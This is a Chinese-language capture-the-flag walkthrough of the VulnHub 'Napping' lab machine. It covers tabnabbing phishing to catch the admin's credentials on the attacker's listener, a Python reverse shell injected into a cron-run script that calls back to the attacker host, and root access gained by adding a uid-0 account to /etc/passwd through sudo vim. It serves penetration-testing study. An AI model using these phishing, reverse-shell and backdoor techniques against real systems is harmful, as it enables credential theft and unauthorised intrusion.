**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究
靶机信息
下载地址: www.vulnhub.com/entry/nappi…
难度: 中等
上架时间: 2021年10月22日
提示信息: Even Admins can fall asleep on the job
翻译: 即使是管理员也会在工作中睡着
信息收集
扫描主机
nmap -sP 192.168.7.1/24
扫描端口
nmap -sC -sV -p- 192.168.7.242 -oN napping.nmap
WEB渗透
开放两个端口22和80,先访问80端口
是个登陆页面,有个注册帐号的链接,先注册个帐号aaa密码bbbbbb
注册好我们登陆上去看看
看到提示,这是一个提交友情链接的地方,并且说明管理员会审查,结合靶机名字联想到tabnabbing标签钓鱼
标签钓鱼
想实现tabnabbing钓鱼还需要准备两个页面
第一个是复制原站登陆页面用来钓鱼
先把登录页面保存下来命名为login.html
第二个恶意页面nadding.html
vi nadding.html
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) mainframe.location.replace=('http://192.168.7.3:7777/login.html');
if(window.opener != window) mainframe.location.replace=('http://192.168.7.3:7777/login.html');
</script>
</body>
</html>
页面准备好后用python3开启http服务
python3 -m http.server 80
先在kali攻击机上监听7777端口
nc -lvvp 7777
到站点去提交我们的url http://192.168.7.3/nadding.html
等待管理员去检查链接就可以拿到他的帐号密码了
获取到帐号 daniel 密码 C@ughtm3napping123 (注意%40是url编码,解码后就是@)
用这个帐号登录提示用户或密码不正确
难道是ssh的帐号密码
ssh daniel@192.168.7.242
登录成功,看下用户信息
id
通过用户信息看到daniele用户在administrators组里面,那就找下这个组有哪些文件可以利用
权限提升
查找提权文件
find / -group administrators -type f 2>/dev/null
找到/home/adrian目录下一个query.py的python脚本可以利用
切换到/home/adrian目录,里面还有一个user.txt应该是一个flag,但是没权限打开,还是先提权吧
cd /home/adrian/
ls
cat user.txt
看下query.py脚本内容,是一个检查站点是否可以正常访问的脚本
cat query.py
再看下site_status.txt内容,可以看到脚本每2分执行一次
cat site_status.txt
现在修改一下脚本 插入反弹shell等待2分钟反弹shell回来
from datetime import datetime
import requests
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.7.3",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
now = datetime.now()
r = requests.get('http://127.0.0.1/')
if r.status_code == 200:
f = open("site_status.txt","a")
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
f.write("Site is Up: ")
f.write(dt_string)
f.write("\n")
f.close()
else:
f = open("site_status.txt","a")
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
f.write("Check Out Site: ")
f.write(dt_string)
f.write("\n")
f.close()
反弹shell
kali攻击上监听4444端口
成功反弹shell,反弹回来是adrian帐号
拿到一个完整的交互shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a
stty raw -echo;fg
reset
stty rows 23 columns 172
OK,现在是完整的shell了,看一下adrian目录下的user.txt内容,提示"快到了"是不是说快拿到flag了
cat user.txt
添加管理员帐号
看下sudo有什么权限,果然vim不需要密码可以执行
sudo -l
这就简单了,我们修改passwd文件为自己创建个root权限帐号
passwd帐号格式:用户名:密码:uid:gid:注释:home目录:用户的shell
可以参考root帐号:"root:0:0:root:/root:/bin/bash"
知道格式还需要先生成一个密码
openssl passwd -1 –salt aaa 123
生成了3个密码,任意选一个就行
补全帐号格式,然后添加到passwd文件中
aaa:$1$J6LK57RZ$sbqk0gvG0zhRqsgusH6ja1:0:0:root:/aaa:/bin/bash
修改passwd文件,将生成的帐号添加进去
sudo vim /etc/passwd
现在可以切换用户了,我们刚才设置的帐号密码都是aaa
su aaa
id
ls
cat root.txt
成功拿到root权限